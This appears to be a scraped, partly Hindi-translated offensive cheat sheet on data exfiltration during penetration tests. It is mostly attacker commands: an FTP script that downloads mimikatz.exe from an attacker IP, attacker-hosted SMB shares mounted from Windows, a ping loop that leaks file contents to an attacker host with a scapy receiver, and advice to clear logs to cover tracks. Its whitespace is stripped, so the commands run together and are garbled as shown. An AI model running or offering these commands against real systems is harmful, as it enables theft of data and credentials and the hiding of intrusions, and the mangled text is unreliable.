#Run the following script to configure the FTP server#!/bin/bashgroupaddftpgroupuseradd-gftpgroup-d/dev/null-s/etcftpuserpure-pwduseraddfusr-uftpuser-d/ftphomepure-pwmkdbcd/etc/pure-ftpd/auth/ln-s../conf/PureDB60pdbmkdir-p/ftphomechown-Rftpuser:ftpgroup/ftphome//etc/init.d/pure-ftpdrestart
Windows क्लाइंट
#Work well with python. With pure-ftp use fusr:ftpechoopen10.11.0.4121>ftp.txtechoUSERanonymous>>ftp.txtechoanonymous>>ftp.txtechobin>>ftp.txtechoGETmimikatz.exe>>ftp.txtechobye>>ftp.txtftp-n-v-s:ftp.txt
SMB
काली को सर्वर के रूप में उपयोग करें
kali_op1>impacket-smbserver-smb2supportkali`pwd`# Share current directorykali_op2>smbserver.py-smb2supportname/path/folder# Share a folder#For new Win10 versionsimpacket-smbserver-smb2support-usertest-passwordtesttest`pwd`
या samba का उपयोग करके एक smb साझा बनाएं:
apt-getinstallsambamkdir/tmp/smbchmod777/tmp/smb#Add to the end of /etc/samba/smb.conf this:[public]comment=SambaonUbuntupath=/tmp/smbreadonly=nobrowsable=yesguestok=Yes#Start sambaservicesmbdrestart
Exfiltration Techniques on Windows
Local Exfiltration
Local exfiltration techniques involve transferring data to devices within the local network or physically removing data from the target environment.
Remote Exfiltration
Remote exfiltration techniques involve transferring data to an external location outside the target network, typically controlled by the attacker.
Exfiltration Tools
Various tools can be used for exfiltration, such as Netcat, FTP, PowerShell, BITSAdmin, and certutil.
Covering Tracks
After exfiltrating data, it's essential to cover tracks by deleting logs, clearing event logs, and removing any evidence of the exfiltration activity.
CMD-Wind> \\10.10.14.14\path\to\exeCMD-Wind>netusez: \\10.10.14.14\test/user:testtest#For SMB using credentialsWindPS-1>New-PSDrive-Name"new_disk"-PSProvider"FileSystem"-Root"\\10.10.14.9\kali"WindPS-2>cdnew_disk:
# To exfiltrate the content of a file via pings you can do:xxd-p-c4/path/file/exfil|whilereadline; doping-c1-p $line <IPattacker>; done#This will 4bytes per ping packet (you could probably increase this until 16)
from scapy.all import*#This is ippsec receiver created in the HTB machine Mischiefdefprocess_packet(pkt):if pkt.haslayer(ICMP):if pkt[ICMP].type ==0:data = pkt[ICMP].load[-4:]#Read the 4bytes interestingprint(f"{data.decode('utf-8')}", flush=True, end="")sniff(iface="tun0", prn=process_packet)
SMTP
यदि आप एक SMTP सर्वर को डेटा भेज सकते हैं, तो आप Python के साथ डेटा प्राप्त करने के लिए एक SMTP बना सकते हैं:
sudopython-msmtpd-n-cDebuggingServer:25
TFTP
डिफ़ॉल्ट रूप से XP और 2003 में (अन्य में इंस्टॉलेशन के दौरान विशेष रूप से जोड़ना चाहिए)
काली में, TFTP सर्वर शुरू करें:
#I didn't get this options working and I prefer the python optionmkdir/tftpatftpd--daemon--port69/tftpcp/path/tp/nc.exe/tftp
VBScript का उपयोग डेटा अन्य संगठनों में भेजने के लिए किया जा सकता है। VBScript को उपयोग करके डेटा को एक फ़ाइल में लिखा जा सकता है और फिर उस फ़ाइल को एक विदेशी सर्वर पर अपलोड किया जा सकता है।
डीबग.एक्सई प्रोग्राम न केवल बाइनरी की जांच की अनुमति देता है बल्कि हेक्स से उन्हें पुनः निर्माण करने की क्षमता भी है। इसका मतलब है कि एक बाइनरी के हेक्स प्रदान करके, डीबग.एक्सई बाइनरी फ़ाइल उत्पन्न कर सकता है। हालांकि, यह महत्वपूर्ण है कि डीबग.एक्सई का एक सीमितांकन है जो 64 केबी बाइट के फ़ाइलों को एकत्रित करने की सीमा है।
# Reduce the sizeupx-9nc.exewineexe2bat.exenc.exenc.txt